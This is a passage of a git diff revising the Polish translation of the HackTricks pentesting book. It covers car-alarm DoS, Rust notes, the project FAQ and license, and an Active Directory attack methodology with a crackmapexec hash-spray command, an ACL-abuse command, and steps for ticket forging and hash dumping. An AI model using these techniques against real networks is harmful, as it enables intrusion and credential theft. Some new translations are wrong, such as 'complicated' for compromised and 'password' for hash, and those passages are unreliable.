samochodu, a nie swój odbiornik**, poni > [!CAUTION] > Zauważ, że jeśli ofiara wyśle trzeci kod, gdy napastnik wysyła pierwszy, pierwszy i drugi kod zostaną unieważnione. -### Atak Zakłócający Dźwięk Alarmu +### Atak Zakłócania Dźwięku Alarmu -Testując system kodów zmiennych zainstalowany w samochodzie, **wysłanie tego samego kodu dwa razy** natychmiast **aktywowało alarm** i immobilizer, co stwarza unikalną **możliwość odmowy usługi**. Ironią jest to, że środkiem **wyłączania alarmu** i immobilizera było **naciśnięcie** **pilota**, co daje napastnikowi możliwość **ciągłego przeprowadzania ataku DoS**. Lub połączenie tego ataku z **poprzednim, aby uzyskać więcej kodów**, ponieważ ofiara chciałaby jak najszybciej zakończyć atak. +Testując system kodów zmiennych zainstalowany w samochodzie, **wysłanie tego samego kodu dwa razy** natychmiast **aktywowało alarm** i immobilizer, co stwarza unikalną możliwość **odmowy usługi**. Ironią jest to, że środkiem **wyłączania alarmu** i immobilizera było **naciśnięcie** **pilota**, co daje napastnikowi możliwość **ciągłego przeprowadzania ataku DoS**. Lub połączenie tego ataku z **poprzednim, aby uzyskać więcej kodów**, ponieważ ofiara chciałaby jak najszybciej zakończyć atak. ## Odnośniki diff --git a/src/todo/rust-basics.md b/src/todo/rust-basics.md index b1203c23f..8c78e5151 100644 --- a/src/todo/rust-basics.md +++ b/src/todo/rust-basics.md @@ -1,6 +1,6 @@ -# Rust Basics +# Podstawy Rust -### Typy generyczne +### Typy ogólne Utwórz strukturę, w której 1 z ich wartości może być dowolnym typem ```rust @@ -72,7 +72,7 @@ for (key, hashvalue) in &*map { for key in map.keys() { for value in map.values() { ``` -### Rekurencyjna Pudełko +### Rekurencyjna Skrzynka ```rust enum List { Cons(i32, List), @@ -267,7 +267,7 @@ println!("{:?}", apple); ``` #### Wątki -W tym przypadku przekażemy wątkowi zmienną, którą będzie mógł modyfikować +W tym przypadku przekażemy wątkowi zmienną, którą będzie mógł modyfikować. ```rust fn main() { let status = Arc::new(Mutex::new(JobStatus { jobs_completed: 0 })); diff --git a/src/todo/test-llms.md b/src/todo/test-llms.md index 093d9c3ea..79288c485 100644 --- a/src/todo/test-llms.md +++ b/src/todo/test-llms.md @@ -4,7 +4,7 @@ ### [**Hugging Face Transformers**](https://github.com/huggingface/transformers) -Hugging Face Transformers to jedna z najpopularniejszych bibliotek open-source do używania, trenowania i wdrażania LLM, takich jak GPT, BERT i wiele innych. Oferuje kompleksowy ekosystem, który obejmuje modele wstępnie wytrenowane, zbiory danych oraz bezproblemową integrację z Hugging Face Hub do dostosowywania i wdrażania. +Hugging Face Transformers to jedna z najpopularniejszych bibliotek open-source do używania, trenowania i wdrażania LLM, takich jak GPT, BERT i wielu innych. Oferuje kompleksowy ekosystem, który obejmuje modele wstępnie wytrenowane, zbiory danych oraz bezproblemową integrację z Hugging Face Hub do dostosowywania i wdrażania. ### [**LangChain**](https://github.com/langchain-ai/langchain) @@ -44,7 +44,7 @@ Oferuje kilka sekcji, takich jak: ## [**Replicate**](https://replicate.com/home) -**Replicate** to platforma, która umożliwia programistom uruchamianie modeli uczenia maszynowego w chmurze za pomocą prostego API. Skupia się na ułatwieniu dostępu do modeli ML i ich wdrażania bez potrzeby rozbudowanego ustawienia infrastruktury. +**Replicate** to platforma, która pozwala programistom uruchamiać modele uczenia maszynowego w chmurze za pomocą prostego API. Skupia się na ułatwieniu dostępu do modeli ML i ich wdrażania bez potrzeby rozbudowanego ustawienia infrastruktury. * **Modele:** Repozytorium modeli uczenia maszynowego wniesionych przez społeczność, które użytkownicy mogą przeglądać, wypróbować i integrować modele w swoich aplikacjach z minimalnym wysiłkiem. * **Dostęp do API:** Proste API do uruchamiania modeli, które umożliwia programistom łatwe wdrażanie i skalowanie modeli w ramach ich własnych aplikacji. diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index a23b5067b..68fab8737 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -66,7 +66,7 @@ url = {\url{https://book.hacktricks.xyz/specific-page}}, **Wolałbym nie**. To **nie przyniesie korzyści nikomu**, ponieważ **wszystkie treści są już publicznie dostępne** w oficjalnych książkach HackTricks za darmo. -Jeśli obawiasz się, że znikną, po prostu zrób forka na Githubie lub je pobierz, jak już powiedziałem, jest to już darmowe. +Jeśli obawiasz się, że znikną, po prostu zrób forka na Githubie lub je pobierz, jak już powiedziałem, jest to już za darmo. > [!WARNING] > @@ -76,7 +76,7 @@ Pierwsza **wartość HackTricks** to oferowanie **DARMOWYCH** zasobów edukacyjn Jeśli myślisz, że książki HackTricks są stworzone do **celów komercyjnych**, to **JESTEŚ CAŁKOWICIE W BŁĘDZIE**. -Mamy sponsorów, ponieważ, nawet jeśli cała treść jest DARMOWA, chcemy **dać społeczności możliwość docenienia naszej pracy**, jeśli chcą. Dlatego oferujemy ludziom możliwość wsparcia HackTricks poprzez [**sponsorów Github**](https://github.com/sponsors/carlospolop), oraz **odpowiednie firmy zajmujące się cyberbezpieczeństwem**, aby sponsorowały HackTricks i **miały kilka reklam** w książce, które są **zawsze umieszczane w miejscach, które czynią je** **widocznymi**, ale **nie zakłócają procesu nauki**, jeśli ktoś koncentruje się na treści. +Mamy sponsorów, ponieważ, nawet jeśli cała treść jest DARMOWA, chcemy **dać społeczności możliwość docenienia naszej pracy**, jeśli chcą. Dlatego oferujemy ludziom możliwość wsparcia HackTricks poprzez [**sponsorów Github**](https://github.com/sponsors/carlospolop) oraz **odpowiednie firmy zajmujące się cyberbezpieczeństwem**, aby sponsorowały HackTricks i **miały kilka reklam** w książce, przy czym **reklamy** zawsze umieszczane są w miejscach, które czynią je **widocznymi**, ale **nie zakłócają procesu nauki**, jeśli ktoś koncentruje się na treści. Nie znajdziesz HackTricks wypełnionych irytującymi reklamami jak inne blogi z dużo mniejszą ilością treści niż HackTricks, ponieważ HackTricks nie jest stworzony do celów komercyjnych. @@ -96,7 +96,7 @@ Zauważ, że posiadanie linków do twojej strony w HackTricks: - Treść jest **tłumaczona na więcej niż 15 języków**, co umożliwia większej liczbie osób dostęp do tej treści - **HackTricks zachęca** ludzi do **sprawdzenia twojej strony** (kilka osób wspomniało nam, że odkąd jakaś ich strona jest w HackTricks, otrzymują więcej odwiedzin) -Jednak, jeśli nadal chcesz, aby treść twojego bloga została usunięta z HackTricks, po prostu daj nam znać, a my na pewno **usuniemy każdy link do twojego bloga** oraz wszelkie treści na jego podstawie. +Jednak, jeśli nadal chcesz, aby treść twojego bloga została usunięta z HackTricks, po prostu daj nam znać, a my na pewno **usuniemy każdy link do twojego bloga** oraz wszelką treść na jego podstawie. > [!CAUTION] > @@ -108,20 +108,20 @@ Zawsze **przyznajemy oryginalnym autorom wszystkie zasługi**. Jeśli znajdziesz Copyright © Wszystkie prawa zastrzeżone, chyba że zaznaczone inaczej. -#### Podsumowanie licencji: +#### Podsumowanie Licencji: - Atrybucja: Masz prawo do: - Udostępniania — kopiowania i redystrybucji materiału w dowolnym medium lub formacie. - Adaptacji — remiksowania, przekształcania i budowania na podstawie materiału. -#### Dodatkowe warunki: +#### Dodatkowe Warunki: -- Treści osób trzecich: Niektóre części tego bloga/książki mogą zawierać treści z innych źródeł, takie jak fragmenty z innych blogów lub publikacji. Użycie takich treści odbywa się zgodnie z zasadami dozwolonego użytku lub za wyraźną zgodą odpowiednich właścicieli praw autorskich. Proszę odwołać się do oryginalnych źródeł w celu uzyskania szczegółowych informacji o licencjonowaniu dotyczących treści osób trzecich. -- Autorstwo: Oryginalne treści autorstwa HackTricks podlegają warunkom tej licencji. Zachęcamy do przypisania tej pracy autorowi podczas udostępniania lub adaptacji. +- Treści Stron Trzecich: Niektóre części tego bloga/książki mogą zawierać treści z innych źródeł, takie jak fragmenty z innych blogów lub publikacji. Użycie takich treści odbywa się zgodnie z zasadami dozwolonego użytku lub za wyraźną zgodą odpowiednich właścicieli praw autorskich. Proszę odwołać się do oryginalnych źródeł w celu uzyskania szczegółowych informacji o licencjonowaniu dotyczących treści stron trzecich. +- Autorstwo: Oryginalna treść stworzona przez HackTricks podlega warunkom tej licencji. Zachęcamy do przypisania tej pracy autorowi podczas udostępniania lub adaptacji. #### Wyjątki: -- Użycie komercyjne: W przypadku zapytań dotyczących komercyjnego wykorzystania tej treści, proszę o kontakt. +- Użycie Komercyjne: W przypadku zapytań dotyczących komercyjnego wykorzystania tej treści, proszę o kontakt. Ta licencja nie przyznaje żadnych praw do znaków towarowych ani brandingowych w odniesieniu do treści. Wszystkie znaki towarowe i branding przedstawione w tym blogu/książce są własnością ich odpowiednich właścicieli. @@ -138,6 +138,6 @@ Ta licencja nie przyznaje żadnych praw do znaków towarowych ani brandingowych > > Użytkownik ponosi wyłączną odpowiedzialność za wszelkie działania podjęte na podstawie informacji zawartych w tej książce i powinien zawsze szukać profesjonalnej porady i pomocy przy próbie wdrożenia jakichkolwiek technik lub wskazówek opisanych w tej książce. > -> Korzystając z tej książki, użytkownik zgadza się zwolnić autorów i wydawców z wszelkiej odpowiedzialności za jakiekolwiek szkody, straty lub krzywdy, które mogą wyniknąć z korzystania z tej książki lub jakiejkolwiek informacji w niej zawartej. +> Korzystając z tej książki, użytkownik zgadza się zwolnić autorów i wydawców z wszelkiej odpowiedzialności i odpowiedzialności za jakiekolwiek szkody, straty lub krzywdy, które mogą wyniknąć z korzystania z tej książki lub jakiejkolwiek informacji w niej zawartej. {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/README.md b/src/windows-hardening/active-directory-methodology/README.md index 6d735e29c..46471e6e3 100644 --- a/src/windows-hardening/active-directory-methodology/README.md +++ b/src/windows-hardening/active-directory-methodology/README.md @@ -12,7 +12,7 @@ Kluczowe pojęcia w **Active Directory** obejmują: 1. **Katalog** – Zawiera wszystkie informacje dotyczące obiektów Active Directory. 2. **Obiekt** – Oznacza byty w katalogu, w tym **użytkowników**, **grupy** lub **udostępnione foldery**. -3. **Domena** – Służy jako kontener dla obiektów katalogu, z możliwością współistnienia wielu domen w **lesie**, z każdą utrzymującą własny zbiór obiektów. +3. **Domena** – Służy jako kontener dla obiektów katalogu, z możliwością współistnienia wielu domen w **lesie**, z każdą z nich utrzymującą własny zbiór obiektów. 4. **Drzewo** – Grupa domen, które dzielą wspólną domenę główną. 5. **Las** – Szczyt struktury organizacyjnej w Active Directory, składający się z kilku drzew z **relacjami zaufania** między nimi. @@ -66,10 +66,10 @@ Jeśli masz dostęp do środowiska AD, ale nie masz żadnych poświadczeń/sesji - **Zatrucie sieci** - Zbieraj poświadczenia [**podszywając się pod usługi za pomocą Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) - Uzyskaj dostęp do hosta, [**nadużywając ataku relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) -- Zbieraj poświadczenia **eksponując** [**fałszywe usługi UPnP za pomocą evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) +- Zbieraj poświadczenia **ujawniając** [**fałszywe usługi UPnP za pomocą evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) - [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology): - Wyciągnij nazwy użytkowników/nazwy z dokumentów wewnętrznych, mediów społecznościowych, usług (głównie web) w środowiskach domenowych oraz z publicznie dostępnych. -- Jeśli znajdziesz pełne imiona pracowników firmy, możesz spróbować różnych konwencji **namingowych AD** ([**przeczytaj to**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Najczęstsze konwencje to: _ImięNazwisko_, _Imię.Nazwisko_, _ImN_ (3 litery z każdej), _Im.N_, _NazwaNazwiska_, _Nazwisko.Imię_, _NazwiskoN_, _Nazwisko.N_, 3 _losowe litery i 3 losowe liczby_ (abc123). +- Jeśli znajdziesz pełne imiona pracowników firmy, możesz spróbować różnych konwencji **nazewnictwa użytkowników AD** (**[przeczytaj to](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Najczęstsze konwencje to: _ImięNazwisko_, _Imię.Nazwisko_, _ImN_ (3 litery z każdej), _Im.N_, _NazwaNazwisko_, _Nazwisko.Imię_, _NazwiskoN_, _Nazwisko.N_, 3 _losowe litery i 3 losowe cyfry_ (abc123). - Narzędzia: - [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username) - [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy) @@ -105,14 +105,14 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password > [!WARNING] > Możesz znaleźć listy nazw użytkowników w [**tym repozytorium github**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* oraz w tym ([**statystycznie-prawdopodobne-nazwy-użytkowników**](https://github.com/insidetrust/statistically-likely-usernames)). > -> Jednak powinieneś mieć **imię i nazwisko osób pracujących w firmie** z kroku rekonesansu, który powinieneś wykonać wcześniej. Z imieniem i nazwiskiem możesz użyć skryptu [**namemash.py**](https://gist.github.com/superkojiman/11076951), aby wygenerować potencjalne poprawne nazwy użytkowników. +> Jednak powinieneś mieć **imię i nazwisko osób pracujących w firmie** z kroku rekonesansu, który powinieneś wykonać wcześniej. Mając imię i nazwisko, możesz użyć skryptu [**namemash.py**](https://gist.github.com/superkojiman/11076951), aby wygenerować potencjalne poprawne nazwy użytkowników. ### Znając jedną lub kilka nazw użytkowników Ok, więc wiesz, że masz już poprawną nazwę użytkownika, ale nie masz haseł... Spróbuj: - [**ASREPRoast**](asreproast.md): Jeśli użytkownik **nie ma** atrybutu _DONT_REQ_PREAUTH_, możesz **zażądać wiadomości AS_REP** dla tego użytkownika, która będzie zawierać dane zaszyfrowane pochodną hasła użytkownika. -- [**Password Spraying**](password-spraying.md): Spróbujmy najczęstszych **haseł** z każdym z odkrytych użytkowników, może któryś z użytkowników używa złego hasła (pamiętaj o polityce haseł!). +- [**Password Spraying**](password-spraying.md): Spróbujmy najczęściej **używanych haseł** z każdym z odkrytych użytkowników, może któryś z użytkowników używa złego hasła (pamiętaj o polityce haseł!). - Zauważ, że możesz również **sprayować serwery OWA**, aby spróbować uzyskać dostęp do serwerów pocztowych użytkowników. {{#ref}} @@ -141,9 +141,9 @@ Jeśli możesz **uzyskać dostęp do innych komputerów lub udziałów** z **uż ## Enumeracja Active Directory Z poświadczeniami/sesją -Na tym etapie musisz **skompromitować poświadczenia lub sesję ważnego konta domenowego.** Jeśli masz jakieś ważne poświadczenia lub powłokę jako użytkownik domenowy, **powinieneś pamiętać, że opcje podane wcześniej są nadal opcjami do skompromitowania innych użytkowników**. +Na tym etapie musisz mieć **skomprymowane poświadczenia lub sesję ważnego konta domenowego.** Jeśli masz jakieś ważne poświadczenia lub powłokę jako użytkownik domenowy, **powinieneś pamiętać, że opcje podane wcześniej są nadal opcjami do skompromitowania innych użytkowników**. -Zanim rozpoczniesz uwierzytelnioną enumerację, powinieneś wiedzieć, czym jest **problem podwójnego skoku Kerberos**. +Zanim rozpoczniesz uwierzytelnioną enumerację, powinieneś wiedzieć, czym jest **problem podwójnego skoku Kerberos.** {{#ref}} kerberos-double-hop-problem.md @@ -151,19 +151,19 @@ kerberos-double-hop-problem.md ### Enumeracja -Skompromitowanie konta to **duży krok w kierunku kompromitacji całej domeny**, ponieważ będziesz mógł rozpocząć **Enumerację Active Directory:** +Posiadając skompromitowane konto, to **duży krok w kierunku skompromitowania całej domeny**, ponieważ będziesz mógł rozpocząć **Enumerację Active Directory:** Odnośnie [**ASREPRoast**](asreproast.md) możesz teraz znaleźć każdego możliwego podatnego użytkownika, a odnośnie [**Password Spraying**](password-spraying.md) możesz uzyskać **listę wszystkich nazw użytkowników** i spróbować hasła skompromitowanego konta, pustych haseł i nowych obiecujących haseł. - Możesz użyć [**CMD do przeprowadzenia podstawowego rekonesansu**](../basic-cmd-for-pentesters.md#domain-info) - Możesz również użyć [**powershell do rekonesansu**](../basic-powershell-for-pentesters/), co będzie bardziej dyskretne - Możesz także [**użyć powerview**](../basic-powershell-for-pentesters/powerview.md), aby uzyskać bardziej szczegółowe informacje -- Innym niesamowitym narzędziem do rekonesansu w aktywnym katalogu jest [**BloodHound**](bloodhound.md). Nie jest **zbyt dyskretne** (w zależności od metod zbierania, które używasz), ale **jeśli ci to nie przeszkadza**, powinieneś spróbować. Znajdź, gdzie użytkownicy mogą RDP, znajdź ścieżki do innych grup itp. +- Innym niesamowitym narzędziem do rekonesansu w aktywnym katalogu jest [**BloodHound**](bloodhound.md). Nie jest **zbyt dyskretny** (w zależności od metod zbierania, które używasz), ale **jeśli ci to nie przeszkadza**, powinieneś spróbować. Znajdź, gdzie użytkownicy mogą RDP, znajdź ścieżki do innych grup itp. - **Inne zautomatyzowane narzędzia do enumeracji AD to:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.** - [**Rekordy DNS AD**](ad-dns-records.md), ponieważ mogą zawierać interesujące informacje. - Narzędziem z GUI, które możesz użyć do enumeracji katalogu, jest **AdExplorer.exe** z **SysInternal** Suite. - Możesz również przeszukać bazę danych LDAP za pomocą **ldapsearch**, aby szukać poświadczeń w polach _userPassword_ i _unixUserPassword_, lub nawet dla _Description_. cf. [Hasło w komentarzu użytkownika AD na PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) dla innych metod. -- Jeśli używasz **Linux**, możesz również zenumerować domenę za pomocą [**pywerview**](https://github.com/the-useless-one/pywerview). +- Jeśli używasz **Linux**, możesz również enumerować domenę za pomocą [**pywerview**](https://github.com/the-useless-one/pywerview). - Możesz również spróbować zautomatyzowanych narzędzi, takich jak: - [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch) - [**61106960/adPEAS**](https://github.com/61106960/adPEAS) @@ -171,7 +171,7 @@ Odnośnie [**ASREPRoast**](asreproast.md) możesz teraz znaleźć każdego możl Bardzo łatwo jest uzyskać wszystkie nazwy użytkowników domeny z Windows (`net user /domain`, `Get-DomainUser` lub `wmic useraccount get name,sid`). W Linuxie możesz użyć: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` lub `enum4linux -a -u "user" -p "password" ` -> Nawet jeśli ta sekcja enumeracji wygląda na małą, to najważniejsza część wszystkiego. Uzyskaj dostęp do linków (głównie do cmd, powershell, powerview i BloodHound), naucz się, jak zenumerować domenę i ćwicz, aż poczujesz się komfortowo. Podczas oceny to będzie kluczowy moment, aby znaleźć drogę do DA lub zdecydować, że nic nie można zrobić. +> Nawet jeśli ta sekcja enumeracji wygląda na małą, to najważniejsza część wszystkiego. Uzyskaj dostęp do linków (głównie do cmd, powershell, powerview i BloodHound), naucz się, jak enumerować domenę i ćwicz, aż poczujesz się komfortowo. Podczas oceny to będzie kluczowy moment, aby znaleźć drogę do DA lub zdecydować, że nic nie można zrobić. ### Kerberoast @@ -185,7 +185,7 @@ kerberoast.md ### Zdalne połączenie (RDP, SSH, FTP, Win-RM, itd.) -Gdy uzyskasz jakieś poświadczenia, możesz sprawdzić, czy masz dostęp do jakiejkolwiek **maszyny**. W tym celu możesz użyć **CrackMapExec**, aby spróbować połączyć się z kilkoma serwerami za pomocą różnych protokołów, zgodnie z twoimi skanami portów. +Gdy już uzyskasz jakieś poświadczenia, możesz sprawdzić, czy masz dostęp do jakiejkolwiek **maszyny**. W tym celu możesz użyć **CrackMapExec**, aby spróbować połączyć się z kilkoma serwerami za pomocą różnych protokołów, zgodnie z twoimi skanami portów. ### Lokalne podnoszenie uprawnień @@ -241,13 +241,13 @@ Następnie czas na zrzut wszystkich haszy w pamięci i lokalnie.\ ### Pass the Hash -**Gdy masz hash użytkownika**, możesz go użyć do **podszywania się** pod niego.\ -Musisz użyć jakiegoś **narzędzia**, które **wykona** **uwierzytelnienie NTLM używając** tego **hasha**, **lub** możesz utworzyć nowy **sessionlogon** i **wstrzyknąć** ten **hash** do **LSASS**, aby przy każdym **wykonywaniu uwierzytelnienia NTLM** ten **hash był używany.** Ostatnia opcja to to, co robi mimikatz.\ +**Gdy masz hasz użytkownika**, możesz go użyć do **podszywania się** pod niego.\ +Musisz użyć jakiegoś **narzędzia**, które **wykona** **uwierzytelnienie NTLM przy użyciu** tego **hasza**, **lub** możesz utworzyć nowy **sessionlogon** i **wstrzyknąć** ten **hasz** do **LSASS**, aby przy każdym **wykonywaniu uwierzytelnienia NTLM** ten **hasz był używany.** Ostatnia opcja to to, co robi mimikatz.\ [**Przeczytaj tę stronę, aby uzyskać więcej informacji.**](../ntlm/#pass-the-hash) ### Over Pass the Hash/Pass the Key -Ten atak ma na celu **użycie hasha NTLM użytkownika do żądania biletów Kerberos**, jako alternatywy dla powszechnego Pass The Hash w protokole NTLM. Dlatego może być szczególnie **przydatny w sieciach, w których protokół NTLM jest wyłączony** i tylko **Kerberos jest dozwolony** jako protokół uwierzytelniania. +Ten atak ma na celu **użycie hasza NTLM użytkownika do żądania biletów Kerberos**, jako alternatywy dla powszechnego Pass The Hash w protokole NTLM. Dlatego może być to szczególnie **przydatne w sieciach, w których protokół NTLM jest wyłączony** i tylko **Kerberos jest dozwolony** jako protokół uwierzytelniania. {{#ref}} over-pass-the-hash-pass-the-key.md @@ -263,7 +263,7 @@ pass-the-ticket.md ### Ponowne użycie poświadczeń -Jeśli masz **hash** lub **hasło** lokalnego **administratora**, powinieneś spróbować **zalogować się lokalnie** do innych **komputerów** z jego pomocą. +Jeśli masz **hasz** lub **hasło** lokalnego **administratora**, powinieneś spróbować **zalogować się lokalnie** do innych **komputerów** z jego pomocą. ```bash # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine @@ -274,9 +274,9 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c ### Nadużycie MSSQL i Zaufane Linki -Jeśli użytkownik ma uprawnienia do **dostępu do instancji MSSQL**, może być w stanie użyć go do **wykonywania poleceń** na hoście MSSQL (jeśli działa jako SA), **ukraść** hasz NetNTLM lub nawet przeprowadzić **atak** **przekaźnikowy**.\ +Jeśli użytkownik ma uprawnienia do **dostępu do instancji MSSQL**, może być w stanie użyć go do **wykonywania poleceń** na hoście MSSQL (jeśli działa jako SA), **ukraść** **hash** NetNTLM lub nawet przeprowadzić **atak** **przekaźnikowy**.\ Ponadto, jeśli instancja MSSQL jest zaufana (link bazy danych) przez inną instancję MSSQL. Jeśli użytkownik ma uprawnienia do zaufanej bazy danych, będzie mógł **wykorzystać relację zaufania do wykonywania zapytań również w innej instancji**. Te zaufania mogą być łączone i w pewnym momencie użytkownik może być w stanie znaleźć źle skonfigurowaną bazę danych, w której może wykonywać polecenia.\ -**Linki między bazami danych działają nawet w przypadku zaufania między lasami.** +**Linki między bazami danych działają nawet w przypadku zaufania lasów.** {{#ref}} abusing-ad-mssql.md @@ -286,7 +286,7 @@ abusing-ad-mssql.md Jeśli znajdziesz jakikolwiek obiekt Komputera z atrybutem [ADS_UF_TRUSTED_FOR_DELEGATION]() i masz uprawnienia domeny na komputerze, będziesz mógł zrzucić TGT z pamięci każdego użytkownika, który loguje się na komputerze.\ Więc, jeśli **administrator domeny loguje się na komputerze**, będziesz mógł zrzucić jego TGT i podszyć się pod niego używając [Pass the Ticket](pass-the-ticket.md).\ -Dzięki ograniczonej delegacji mógłbyś nawet **automatycznie skompromitować serwer druku** (mam nadzieję, że będzie to DC). +Dzięki ograniczonej delegacji mógłbyś nawet **automatycznie skompromitować serwer drukarki** (mam nadzieję, że będzie to DC). {{#ref}} unconstrained-delegation.md @@ -294,8 +294,8 @@ unconstrained-delegation.md ### Ograniczona Delegacja -Jeśli użytkownik lub komputer ma zezwolenie na "Ograniczoną Delegację", będzie mógł **podszyć się pod dowolnego użytkownika, aby uzyskać dostęp do niektórych usług na komputerze**.\ -Następnie, jeśli **skompromitujesz hasz** tego użytkownika/komputera, będziesz mógł **podszyć się pod dowolnego użytkownika** (nawet administratorów domeny), aby uzyskać dostęp do niektórych usług. +Jeśli użytkownik lub komputer ma zezwolenie na "Ograniczoną Delegację", będzie mógł **podszywać się pod dowolnego użytkownika, aby uzyskać dostęp do niektórych usług na komputerze**.\ +Następnie, jeśli **skompromitujesz hash** tego użytkownika/komputera, będziesz mógł **podszywać się pod dowolnego użytkownika** (nawet administratorów domeny), aby uzyskać dostęp do niektórych usług. {{#ref}} constrained-delegation.md @@ -311,7 +311,7 @@ resource-based-constrained-delegation.md ### Nadużycie ACL -Skompromitowany użytkownik może mieć pewne **interesujące uprawnienia do niektórych obiektów domeny**, które mogą pozwolić ci na **lateralne poruszanie się**/**eskalację** uprawnień. +Skompromitowany użytkownik może mieć pewne **interesujące uprawnienia do niektórych obiektów domeny**, które mogą pozwolić ci na **przemieszczanie się** lateralnie/**eskalację** uprawnień. {{#ref}} acl-persistence-abuse/ @@ -327,7 +327,7 @@ printers-spooler-service-abuse.md ### Nadużycie sesji zewnętrznych -Jeśli **inni użytkownicy** **uzyskują dostęp** do **skomprmitowanej** maszyny, możliwe jest **zbieranie poświadczeń z pamięci** i nawet **wstrzykiwanie beaconów w ich procesy** w celu podszywania się pod nich.\ +Jeśli **inni użytkownicy** **uzyskują dostęp** do **skomplikowanej** maszyny, możliwe jest **zbieranie poświadczeń z pamięci** i nawet **wstrzykiwanie beaconów w ich procesy** w celu podszywania się pod nich.\ Zazwyczaj użytkownicy uzyskują dostęp do systemu przez RDP, więc oto jak przeprowadzić kilka ataków na sesje RDP osób trzecich: {{#ref}} @@ -393,7 +393,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti ### Srebrny Bilet -Atak **Srebrnego Biletu** tworzy **legitymację usługi przyznawania biletów (TGS)** dla konkretnej usługi, używając **hasza NTLM** (na przykład, **hasza konta PC**). Metoda ta jest stosowana do **uzyskania dostępu do uprawnień usługi**. +Atak **Srebrnego Biletu** tworzy **legitymację usługi Ticket Granting Service (TGS)** dla konkretnej usługi, używając **hasła NTLM** (na przykład, **hasła konta PC**). Metoda ta jest stosowana do **uzyskania dostępu do uprawnień usługi**. {{#ref}} silver-ticket.md @@ -401,9 +401,9 @@ silver-ticket.md ### Złoty Bilet -Atak **Złotego Biletu** polega na tym, że atakujący uzyskuje dostęp do **hasza NTLM konta krbtgt** w środowisku Active Directory (AD). To konto jest specjalne, ponieważ jest używane do podpisywania wszystkich **biletów przyznawania biletów (TGT)**, które są niezbędne do uwierzytelniania w sieci AD. +Atak **Złotego Biletu** polega na tym, że atakujący uzyskuje dostęp do **hasła NTLM konta krbtgt** w środowisku Active Directory (AD). To konto jest specjalne, ponieważ jest używane do podpisywania wszystkich **Biletów Grantujących Bilety (TGT)**, które są niezbędne do uwierzytelniania w sieci AD. -Gdy atakujący uzyska ten hasz, może stworzyć **TGT** dla dowolnego konta, które wybierze (atak Srebrnego Biletu). +Gdy atakujący uzyska ten hash, może stworzyć **TGT** dla dowolnego konta, które wybierze (atak Srebrnego Biletu). {{#ref}} golden-ticket.md @@ -411,7 +411,7 @@ golden-ticket.md ### Diamentowy Bilet -Są one podobne do złotych biletów, fałszowane w sposób, który **omija powszechne mechanizmy wykrywania złotych biletów.** +Te bilety są jak złote bilety, fałszowane w sposób, który **omija powszechne mechanizmy wykrywania złotych biletów.** {{#ref}} diamond-ticket.md @@ -435,13 +435,13 @@ ad-certificates/domain-persistence.md ### Grupa AdminSDHolder -Obiekt **AdminSDHolder** w Active Directory zapewnia bezpieczeństwo **uprzywilejowanych grup** (takich jak Administratorzy Domeny i Administratorzy Enterprise) poprzez zastosowanie standardowej **Listy Kontroli Dostępu (ACL)** w tych grupach, aby zapobiec nieautoryzowanym zmianom. Jednak ta funkcja może być nadużywana; jeśli atakujący zmodyfikuje ACL AdminSDHolder, aby przyznać pełny dostęp zwykłemu użytkownikowi, ten użytkownik zyskuje znaczne uprawnienia nad wszystkimi uprzywilejowanymi grupami. To zabezpieczenie, mające na celu ochronę, może więc obrócić się przeciwko, umożliwiając nieuzasadniony dostęp, chyba że będzie ściśle monitorowane. +Obiekt **AdminSDHolder** w Active Directory zapewnia bezpieczeństwo **uprzywilejowanych grup** (takich jak Administratorzy Domeny i Administratorzy Enterprise) poprzez zastosowanie standardowej **Listy Kontroli Dostępu (ACL)** w tych grupach, aby zapobiec nieautoryzowanym zmianom. Jednak ta funkcja może być nadużywana; jeśli atakujący zmodyfikuje ACL AdminSDHolder, aby przyznać pełny dostęp zwykłemu użytkownikowi, ten użytkownik zyskuje znaczne kontrolę nad wszystkimi uprzywilejowanymi grupami. To zabezpieczenie, mające na celu ochronę, może więc obrócić się przeciwko, umożliwiając nieuzasadniony dostęp, chyba że jest ściśle monitorowane. [**Więcej informacji na temat grupy AdminDSHolder tutaj.**](privileged-groups-and-token-privileges.md#adminsdholder-group) ### Poświadczenia DSRM -W każdym **kontrolerze domeny (DC)** istnieje konto **lokalnego administratora**. Uzyskując prawa administratora na takiej maszynie, hasz lokalnego administratora może być wydobyty za pomocą **mimikatz**. Następnie konieczna jest modyfikacja rejestru, aby **umożliwić użycie tego hasła**, co pozwala na zdalny dostęp do konta lokalnego administratora. +W każdym **kontrolerze domeny (DC)** 